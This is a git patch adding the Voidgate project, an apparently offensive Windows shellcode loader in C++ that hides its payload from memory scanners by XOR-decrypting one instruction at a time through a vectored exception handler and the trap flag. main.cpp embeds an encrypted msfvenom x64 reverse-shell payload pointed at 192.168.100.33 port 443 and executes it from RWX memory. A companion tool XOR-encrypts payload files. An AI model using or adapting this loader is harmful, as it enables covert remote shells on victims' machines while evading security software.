From df282996f17ea204de545a6acdd2e2e4a59cf00b Mon Sep 17 00:00:00 2001 From: vxCrypt0r <76695257+vxCrypt0r@users.noreply.github.com> Date: Tue, 11 Jun 2024 03:12:11 -0700 Subject: [PATCH] Add files via upload --- voidgate-master/Voidgate.sln | 41 +++++ voidgate-master/Voidgate/Voidgate.cpp | 105 +++++++++++++ voidgate-master/Voidgate/Voidgate.h | 38 +++++ voidgate-master/Voidgate/Voidgate.vcxproj | 140 ++++++++++++++++++ .../Voidgate/Voidgate.vcxproj.filters | 33 +++++ .../Voidgate/Voidgate.vcxproj.user | 4 + voidgate-master/Voidgate/main.cpp | 49 ++++++ voidgate-master/Voidgate/payload.h | 10 ++ .../XorEncryptPayload/XorEncryptPayload.cpp | 106 +++++++++++++ .../XorEncryptPayload.vcxproj | 135 +++++++++++++++++ .../XorEncryptPayload.vcxproj.filters | 22 +++ .../XorEncryptPayload.vcxproj.user | 4 + 12 files changed, 687 insertions(+) create mode 100644 voidgate-master/Voidgate.sln create mode 100644 voidgate-master/Voidgate/Voidgate.cpp create mode 100644 voidgate-master/Voidgate/Voidgate.h create mode 100644 voidgate-master/Voidgate/Voidgate.vcxproj create mode 100644 voidgate-master/Voidgate/Voidgate.vcxproj.filters create mode 100644 voidgate-master/Voidgate/Voidgate.vcxproj.user create mode 100644 voidgate-master/Voidgate/main.cpp create mode 100644 voidgate-master/Voidgate/payload.h create mode 100644 voidgate-master/XorEncryptPayload/XorEncryptPayload.cpp create mode 100644 voidgate-master/XorEncryptPayload/XorEncryptPayload.vcxproj create mode 100644 voidgate-master/XorEncryptPayload/XorEncryptPayload.vcxproj.filters create mode 100644 voidgate-master/XorEncryptPayload/XorEncryptPayload.vcxproj.user diff --git a/voidgate-master/Voidgate.sln b/voidgate-master/Voidgate.sln new file mode 100644 index 0000000..55effbb --- /dev/null +++ b/voidgate-master/Voidgate.sln @@ -0,0 +1,41 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 17 +VisualStudioVersion = 17.6.33801.468 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Voidgate", "Voidgate\Voidgate.vcxproj", "{C06BB3F0-CBDC-4384-84CF-21B7FE6DFE01}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "XorEncryptPayload", "XorEncryptPayload\XorEncryptPayload.vcxproj", "{BBA575EC-0C7F-42E1-9B59-B7C9CCA522BA}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {C06BB3F0-CBDC-4384-84CF-21B7FE6DFE01}.Debug|x64.ActiveCfg = Debug|x64 + {C06BB3F0-CBDC-4384-84CF-21B7FE6DFE01}.Debug|x64.Build.0 = Debug|x64 + {C06BB3F0-CBDC-4384-84CF-21B7FE6DFE01}.Debug|x86.ActiveCfg = Debug|Win32 + {C06BB3F0-CBDC-4384-84CF-21B7FE6DFE01}.Debug|x86.Build.0 = Debug|Win32 + {C06BB3F0-CBDC-4384-84CF-21B7FE6DFE01}.Release|x64.ActiveCfg = Release|x64 + {C06BB3F0-CBDC-4384-84CF-21B7FE6DFE01}.Release|x64.Build.0 = Release|x64 + {C06BB3F0-CBDC-4384-84CF-21B7FE6DFE01}.Release|x86.ActiveCfg = Release|Win32 + {C06BB3F0-CBDC-4384-84CF-21B7FE6DFE01}.Release|x86.Build.0 = Release|Win32 + {BBA575EC-0C7F-42E1-9B59-B7C9CCA522BA}.Debug|x64.ActiveCfg = Debug|x64 + {BBA575EC-0C7F-42E1-9B59-B7C9CCA522BA}.Debug|x64.Build.0 = Debug|x64 + {BBA575EC-0C7F-42E1-9B59-B7C9CCA522BA}.Debug|x86.ActiveCfg = Debug|Win32 + {BBA575EC-0C7F-42E1-9B59-B7C9CCA522BA}.Debug|x86.Build.0 = Debug|Win32 + {BBA575EC-0C7F-42E1-9B59-B7C9CCA522BA}.Release|x64.ActiveCfg = Release|x64 + {BBA575EC-0C7F-42E1-9B59-B7C9CCA522BA}.Release|x64.Build.0 = Release|x64 + {BBA575EC-0C7F-42E1-9B59-B7C9CCA522BA}.Release|x86.ActiveCfg = Release|Win32 + {BBA575EC-0C7F-42E1-9B59-B7C9CCA522BA}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {D3A25A49-D706-4A18-BFBF-50A5DC43A06E} + EndGlobalSection +EndGlobal diff --git a/voidgate-master/Voidgate/Voidgate.cpp b/voidgate-master/Voidgate/Voidgate.cpp new file mode 100644 index 0000000..bc79e16 --- /dev/null +++ b/voidgate-master/Voidgate/Voidgate.cpp @@ -0,0 +1,105 @@ +#include "Voidgate.h" +#include "payload.h" + + +DWORD64 payload_base = 0; //Global var holding the base address of the payload (entrypoint). +DWORD64 payload_lower_bound = 0; //Global var holding the LOWER BOUND of the payload (used to determine if the exception occurs in our payload). +DWORD64 payload_upper_bound = 0; //Global var holding the UPPER BOUND of the payload (used to determine if the exception occurs in our payload). +DWORD64 last_decrypted_asm = 0; //Global var holding the address of the last decrypted ASM instruction. This is used to encrypt back the instruction at the next iteration. + +LONG VehDecryptHeapAsm(EXCEPTION_POINTERS* ExceptionInfo) +{ + if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) + { + //If hardware breakpoint Dr0 is set, clear it + if (ExceptionInfo->ContextRecord->Dr0) + { + ExceptionInfo->ContextRecord->Dr0 = 0; + } + + //Set TRAP flag to generate next EXCEPTION_SINGLE_STEP + ExceptionInfo->ContextRecord->EFlags |= (1 << 8); + + //If shellcode is not in our bound, continue without encryption/decryption (example: if our shellcode executes a function in kernel32.dll) + if (ExceptionInfo->ContextRecord->Rip < payload_lower_bound || ExceptionInfo->ContextRecord->Rip > payload_upper_bound) + { + return EXCEPTION_CONTINUE_EXECUTION; + } + + DWORD64 current_asm_addr = ExceptionInfo->ContextRecord->Rip; + + //If there was a previous decrypted ASM instruction,encrypt it back + if (last_decrypted_asm) + { + DWORD key_index = GetXorKeyIndexForAsm(payload_base, last_decrypted_asm, key); + + PBYTE addr_last_decrypted_asm = (PBYTE)last_decrypted_asm; + for (INT i = 0; i < MAX_X64_ASM_OPCODE_LEN; i++) + { + if (key_index == key.size()) + { + key_index = 0; + } + addr_last_decrypted_asm[i] = addr_last_decrypted_asm[i] ^ key[key_index]; + key_index++; + } + } + + //Decrypt the current ASM instruction to prepare it for execution + PBYTE current_asm = (PBYTE)current_asm_addr; + DWORD keyIndex = GetXorKeyIndexForAsm(payload_base, current_asm_addr, key); + for (INT i = 0; i < MAX_X64_ASM_OPCODE_LEN; i++) + { + if (keyIndex == key.size()) + { + keyIndex = 0; + } + current_asm[i] = current_asm[i] ^ key[keyIndex]; + keyIndex++; + } + + //Save the last decrypted ASM address to encrypt it at the next iteration + last_decrypted_asm = current_asm_addr; + return EXCEPTION_CONTINUE_EXECUTION; + } + else + { + return EXCEPTION_CONTINUE_SEARCH; + } + +} + +BOOL SetHardwareBreakpoint(PVOID address_of_breakpoint) +{ + + CONTEXT ctx = { 0 }; + ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS; + + HANDLE currentThread = GetCurrentThread(); + DWORD status = GetThreadContext(currentThread, &ctx); + + ctx.Dr0 = (UINT64)address_of_breakpoint; + ctx.Dr7 |= (1 << 0); //GLOBAL BREAKPOINT + ctx.Dr7 &= ~(1 << 16); + ctx.Dr7 &= ~(1 << 17); + ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS; + + if (!SetThreadContext(currentThread, &ctx)) { + return false; + } + + return true; +} + +DWORD GetXorKeyIndexForAsm(DWORD64 shellcode_base, DWORD64 current_asm_addr, std::string key) +{ + DWORD keySize = key.size(); + DWORD64 difference = current_asm_addr - shellcode_base; + DWORD characterOffset = difference % (keySize); + return characterOffset; +} + +void LogWinapiError(std::string failedFunction) +{ + std::cout << "[X] ERROR - " << failedFunction << " failed with error code: " << GetLastError() << std::endl; +} diff --git a/voidgate-master/Voidgate/Voidgate.h b/voidgate-master/Voidgate/Voidgate.h new file mode 100644 index 0000000..5dabdae --- /dev/null +++ b/voidgate-master/Voidgate/Voidgate.h @@ -0,0 +1,38 @@ +#pragma once +#include +#include +#include + +constexpr DWORD SHELLCODE_PADDING = 0x20; // [SPONGE] padding for testing - removing later +constexpr DWORD MAX_X64_ASM_OPCODE_LEN = 15; // maximum lenght of x64 asm instructions is 15 bytes + +extern DWORD64 payload_base; +extern DWORD64 payload_lower_bound; +extern DWORD64 payload_upper_bound; +extern DWORD64 last_decrypted_asm; + +//This is the VEH routine responsible with encryption/decryption of each individual ASM instruction. +//Each instruction is executes sequentially by setting the TRAP flag in EFlags register. +// +//NOTE: +//The payload must respect the following requirements: +// 1.) Single-threaded payload (Work-In-Progress) +// 2.) Payload must not have values that must be read from the payload itself (such as having a string at the end of the payload that is referenced by a fixed offset. +// +//NOTE: +//The more instructions and loops the payload executes, the more the actual execution of the payload is slowed down, since for each ASM instruction executed +//the program will have to encrypt/decrypt them. +LONG VehDecryptHeapAsm(EXCEPTION_POINTERS* ExceptionInfo); + +//This function calculates the starting position inside the key for each iteration inside the VEH. +//This starting position is used to determine the starting element inside the key that is used to encrypt/decrypt the ASM instruction. +DWORD GetXorKeyIndexForAsm(DWORD64 shellcode_base, DWORD64 current_asm_addr, std::string key); + +//[SPONGE] +typedef NTSTATUS(WINAPI* VoidGate)(void); + +//This function is responsible with setting the first HW Breakpoint on the payload entry point +BOOL SetHardwareBreakpoint(PVOID addr); + +//This function is responsible with logging any WINAPI errors that may occur. +void LogWinapiError(std::string failedFunction); \ No newline at end of file diff --git a/voidgate-master/Voidgate/Voidgate.vcxproj b/voidgate-master/Voidgate/Voidgate.vcxproj new file mode 100644 index 0000000..a911f0a --- /dev/null +++ b/voidgate-master/Voidgate/Voidgate.vcxproj @@ -0,0 +1,140 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {c06bb3f0-cbdc-4384-84cf-21b7fe6dfe01} + Voidgate + 10.0 + + + + Application + true + v143 + Unicode + + + Application + false + v143 + true + Unicode + + + Application + true + v143 + Unicode + + + Application + false + v143 + true + Unicode + + + + + + + + + + + + + + + + + + + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + + + + + + \ No newline at end of file diff --git a/voidgate-master/Voidgate/Voidgate.vcxproj.filters b/voidgate-master/Voidgate/Voidgate.vcxproj.filters new file mode 100644 index 0000000..227b3da --- /dev/null +++ b/voidgate-master/Voidgate/Voidgate.vcxproj.filters @@ -0,0 +1,33 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + Source Files + + + + + Header Files + + + Header Files + + + \ No newline at end of file diff --git a/voidgate-master/Voidgate/Voidgate.vcxproj.user b/voidgate-master/Voidgate/Voidgate.vcxproj.user new file mode 100644 index 0000000..88a5509 --- /dev/null +++ b/voidgate-master/Voidgate/Voidgate.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/voidgate-master/Voidgate/main.cpp b/voidgate-master/Voidgate/main.cpp new file mode 100644 index 0000000..a19f4d4 --- /dev/null +++ b/voidgate-master/Voidgate/main.cpp @@ -0,0 +1,49 @@ +#include "payload.h" +#include "Voidgate.h" + +// msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.100.33 LPORT=443 -f raw (XORed) +BYTE payload[] = { 0xcc, 0x2c, 0xc2, 0x80, 0xc2, 0xc9, 0x80, 0x42, 0x53, 0x31, 0x25, 0x25, 0x25, 0x13, 0x35, 0x1, 0x1b, 0x1f, 0x5e, 0x93, 0x55, 0x2c, 0xca, 0x36, 0x52, 0x69, 0xcb, 0x10, 0x4b, 0x79, 0xef, 0x26, 0x44, 0xb, 0xec, 0x22, 0x1d, 0x1f, 0x60, 0xf6, 0x7a, 0x2e, 0xc, 0x55, 0xfb, 0x69, 0x71, 0x82, 0xff, 0xd, 0x5, 0x8, 0x66, 0x6f, 0x47, 0x11, 0x8c, 0x9e, 0x62, 0x0, 0x31, 0xa5, 0xa3, 0x89, 0x60, 0x60, 0x11, 0xa, 0xd8, 0x63, 0x44, 0xff, 0x26, 0x7f, 0x2f, 0x51, 0x9d, 0xdc, 0xef, 0xc9, 0x30, 0x64, 0x41, 0x2c, 0xb7, 0xe1, 0x34, 0x25, 0x1b, 0x30, 0xb4, 0x24, 0xef, 0xb, 0x7f, 0x14, 0xc6, 0x17, 0x4f, 0x8, 0x31, 0xb4, 0xa2, 0x32, 0x7a, 0xde, 0x89, 0x3, 0xd8, 0x5, 0xec, 0x3c, 0x65, 0x95, 0x2a, 0x61, 0x84, 0x1f, 0x5e, 0x81, 0x9c, 0x25, 0x80, 0xad, 0x3f, 0x60, 0x41, 0x83, 0x6b, 0xd1, 0x11, 0x85, 0x28, 0x40, 0x2b, 0x74, 0x45, 0x12, 0x56, 0x90, 0x45, 0xbc, 0x19, 0x20, 0xb9, 0x61, 0x64, 0xb, 0x52, 0xe1, 0x2, 0x35, 0xef, 0x4f, 0x2f, 0x14, 0xc6, 0x17, 0x73, 0x8, 0x31, 0xb4, 0x0, 0xef, 0x36, 0xa9, 0x8, 0x43, 0x83, 0x70, 0x3c, 0x35, 0x3c, 0x1d, 0x3e, 0xa, 0xc, 0xf, 0x2e, 0x18, 0x71, 0x3e, 0x9, 0xe7, 0xde, 0x1, 0x1, 0x10, 0xac, 0xd1, 0x3c, 0x35, 0x3d, 0x19, 0x2f, 0xdb, 0x5f, 0xbe, 0x38, 0xbe, 0xcf, 0x9b, 0x1c, 0x2d, 0x8c, 0x56, 0x33, 0x70, 0xc, 0x2, 0x56, 0x74, 0x64, 0x2, 0x31, 0x19, 0xc4, 0xb1, 0x27, 0xc0, 0xdc, 0xc4, 0x40, 0x64, 0x32, 0x68, 0xc9, 0xa7, 0x1a, 0x8d, 0x66, 0x74, 0x65, 0xf8, 0xa7, 0xf8, 0x53, 0xb3, 0x2e, 0x15, 0x79, 0xed, 0xa5, 0x28, 0xbb, 0xd0, 0x1, 0xf8, 0x1f, 0x46, 0x42, 0x73, 0x9b, 0x96, 0x2b, 0xd9, 0xa7, 0x3f, 0x6e, 0x40, 0x30, 0x64, 0x18, 0x25, 0x88, 0x8, 0xc0, 0x29, 0x53, 0xce, 0xb1, 0x24, 0x34, 0xe, 0x56, 0x99, 0x0, 0x66, 0xaf, 0x9, 0xcf, 0xa4, 0x9, 0xed, 0xf0, 0x69, 0xbf, 0x82, 0x1b, 0xb8, 0xa5, 0x35, 0xde, 0xa9, 0x68, 0x8f, 0xad, 0xa8, 0xba, 0x9, 0xb9, 0xa3, 0x2b, 0x74, 0x73, 0x79, 0xc, 0xcb, 0xb1, 0x79, 0xed, 0x8d, 0x25, 0xf9, 0xfe, 0xf5, 0x39, 0x36, 0x90, 0x94, 0x78, 0xe5, 0x85, 0x24, 0x30, 0x21, 0x40, 0xb, 0xeb, 0x52, 0x9, 0x10, 0x64, 0x43, 0x67, 0x50, 0x4d, 0x16, 0x3f, 0x0, 0x60, 0x2c, 0xc8, 0x86, 0x65, 0x76, 0x17, 0xf, 0x62, 0xf1, 0xe, 0x79, 0x3d, 0x2, 0x37, 0xb2, 0xb1, 0x31, 0xa8, 0x5, 0x14, 0x30, 0x40, 0x65, 0x7a, 0xac, 0x4, 0x66, 0x4b, 0xf7, 0x64, 0x1c, 0x2c, 0xca, 0x81, 0x6, 0x1d, 0x16, 0x3f, 0x0, 0x60, 0x25, 0x11, 0x2d, 0xcd, 0xe1, 0x1, 0x12, 0x1a, 0xce, 0xac, 0x39, 0xed, 0x82, 0x2b, 0xd9, 0x8c, 0x16, 0xd5, 0x38, 0xfc, 0x5b, 0xc7, 0x9b, 0xe7, 0x69, 0x71, 0x90, 0x1b, 0xce, 0xae, 0xff, 0x6a, 0x2, 0xdd, 0x58, 0xca, 0x4a, 0xf, 0xbe, 0xe5, 0xdf, 0xb1, 0xd1, 0x90, 0x77, 0x1, 0xf8, 0xf5, 0xa4, 0xd9, 0xe9, 0x9b, 0x96, 0x2f, 0xd3, 0x89, 0x7f, 0x53, 0x47, 0x4c, 0x6e, 0xc1, 0x9f, 0xd2, 0x54, 0x45, 0xf9, 0x14, 0x22, 0x16, 0x1b, 0xe, 0x43, 0x3e, 0x11, 0xc4, 0x8d, 0x90, 0x94 }; +DWORD payload_size = sizeof(payload); + +//XOR key for the encrypted payload +std::string key = "0dAd2!@BS1dtdCgPMWoA"; + +INT main() +{ + //Calculate the memory_size adding PADDING at the begining and at the end + DWORD memory_size = SHELLCODE_PADDING + payload_size + SHELLCODE_PADDING; + + //Allocate memory for the payload + PVOID heap_memory = VirtualAlloc(NULL, memory_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + if (!heap_memory) + { + LogWinapiError("VirtualAlloc"); + return EXIT_FAILURE; + } + + //Calculate the memory bounds of our payload and save them to global var + payload_lower_bound = (DWORD64)heap_memory; + payload_upper_bound = payload_lower_bound + memory_size; + + //Fill memory with NOP Sled and copy the payload to the heap memory + memset(heap_memory, '\x90', memory_size); + PVOID payload_entry = (PBYTE)heap_memory + SHELLCODE_PADDING; + memcpy(payload_entry, payload, payload_size); + + payload_base = (DWORD64)payload_entry; + + //Put a HW Breakpoint on our payload entry point + DWORD status = SetHardwareBreakpoint(payload_entry); + + //Install VEH to handle the payload decryption/encryption after each ASM instruction executed by the payload + PVOID veh = AddVectoredExceptionHandler(1, &VehDecryptHeapAsm); + if (veh) + { + VoidGate vg = (VoidGate)payload_entry; + vg(); + } + + //Cleanup + VirtualFree(heap_memory, 0, MEM_RELEASE); + return EXIT_SUCCESS; +} \ No newline at end of file diff --git a/voidgate-master/Voidgate/payload.h b/voidgate-master/Voidgate/payload.h new file mode 100644 index 0000000..0b21c98 --- /dev/null +++ b/voidgate-master/Voidgate/payload.h @@ -0,0 +1,10 @@ +#pragma once + +#include +#include + + + +extern BYTE payload[]; //Global variable holding the payload that needs to be executed. +extern DWORD payload_size; //Global variable holdingt he payload size. +extern std::string key; //Global variable holding the key for the XOR encrypted payload. \ No newline at end of file diff --git a/voidgate-master/XorEncryptPayload/XorEncryptPayload.cpp b/voidgate-master/XorEncryptPayload/XorEncryptPayload.cpp new file mode 100644 index 0000000..2995f16 --- /dev/null +++ b/voidgate-master/XorEncryptPayload/XorEncryptPayload.cpp @@ -0,0 +1,106 @@ +#include +#include + +void PrintWinapiError(std::string failedFuncName) +{ + std::cout << "[X] ERROR - WINAPI " + failedFuncName + " failed with error code: 0x" << std::hex << GetLastError() << std::endl; +} +void PrintProgramFail(std::string failMessage) +{ + std::cout << "[X] FAIL - " + failMessage << std::endl; +} + +BOOL CheckProgramArgs(INT argc, CHAR** argv) +{ + if (argc != 2) + { + std::cout << "[X] ERROR - Provide path to payload to XOR encrypt... Example:" << std::endl; + std::cout << argv[0] << +" C:\\Windows\\temp\\payload.bin" << std::endl; + return FALSE; + } + return TRUE; +} +void XorEncryptPayload(PBYTE dataToEncrypt, DWORD64 dataSize, std::string xorKey) +{ + std::cout << "{ "; + INT keyReadIndex = 0; + for (INT i = 0; i < dataSize; i++) + { + if (keyReadIndex == xorKey.size()) + { + keyReadIndex = 0; + } + + dataToEncrypt[i] ^= xorKey[keyReadIndex]; + std::cout << " 0x" << std::hex << (DWORD)dataToEncrypt[i]; + if (i < dataSize - 1) + { + std::cout << ","; + } + keyReadIndex++; + } + std::cout << " }; " << std::endl; +} + +INT main(INT argc, CHAR** argv) +{ + + if (!CheckProgramArgs(argc, argv)) + { + return EXIT_FAILURE; + } + + HANDLE fileHandle = INVALID_HANDLE_VALUE; + PVOID fileData = nullptr; + LARGE_INTEGER fileSize = { 0 }; + DWORD bytesRead = 0; + DWORD status = 0; + + std::string xorKey = "0dAd2!@BS1dtdCgPMWoA"; + + fileHandle = CreateFileA(argv[1], GENERIC_ALL, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + if (fileHandle == INVALID_HANDLE_VALUE) + { + PrintWinapiError("CreateFileA"); + PrintProgramFail("Failed to get a handle to the file... Exiting..."); + status = EXIT_FAILURE; + goto exit; + } + + + if (!GetFileSizeEx(fileHandle, &fileSize)) + { + PrintWinapiError("GetFileSizeEx"); + PrintProgramFail("Failed to get the size of the file... Exiting..."); + status = EXIT_FAILURE; + goto exit_close_file_handle; + } + + fileData = VirtualAlloc(NULL, fileSize.QuadPart, MEM_COMMIT, PAGE_READWRITE); + if (!fileData) + { + PrintWinapiError("VirtualAlloc"); + PrintProgramFail("Failed to allocate memory to read the contents of the file... Exiting..."); + status = EXIT_FAILURE; + goto exit_close_file_handle; + } + + if (!ReadFile(fileHandle, fileData, fileSize.QuadPart, &bytesRead, NULL)) + { + PrintWinapiError("ReadFile"); + PrintProgramFail("Failed to read the file data... Exiting..."); + status = EXIT_FAILURE; + goto exit_free_memory; + } + + XorEncryptPayload((PBYTE)fileData, fileSize.QuadPart, xorKey); + status = EXIT_SUCCESS; + + +exit_free_memory: + VirtualFree(fileData, NULL, MEM_RELEASE); +exit_close_file_handle: + CloseHandle(fileHandle); +exit: + return status; +} diff --git a/voidgate-master/XorEncryptPayload/XorEncryptPayload.vcxproj b/voidgate-master/XorEncryptPayload/XorEncryptPayload.vcxproj new file mode 100644 index 0000000..3ed89fc --- /dev/null +++ b/voidgate-master/XorEncryptPayload/XorEncryptPayload.vcxproj @@ -0,0 +1,135 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {bba575ec-0c7f-42e1-9b59-b7c9cca522ba} + XorEncryptPayload + 10.0 + + + + Application + true + v143 + Unicode + + + Application + false + v143 + true + Unicode + + + Application + true + v143 + Unicode + + + Application + false + v143 + true + Unicode + + + + + + + + + + + + + + + + + + + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + \ No newline at end of file diff --git a/voidgate-master/XorEncryptPayload/XorEncryptPayload.vcxproj.filters b/voidgate-master/XorEncryptPayload/XorEncryptPayload.vcxproj.filters new file mode 100644 index 0000000..327494a --- /dev/null +++ b/voidgate-master/XorEncryptPayload/XorEncryptPayload.vcxproj.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + \ No newline at end of file diff --git a/voidgate-master/XorEncryptPayload/XorEncryptPayload.vcxproj.user b/voidgate-master/XorEncryptPayload/XorEncryptPayload.vcxproj.user new file mode 100644 index 0000000..0f14913 --- /dev/null +++ b/voidgate-master/XorEncryptPayload/XorEncryptPayload.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file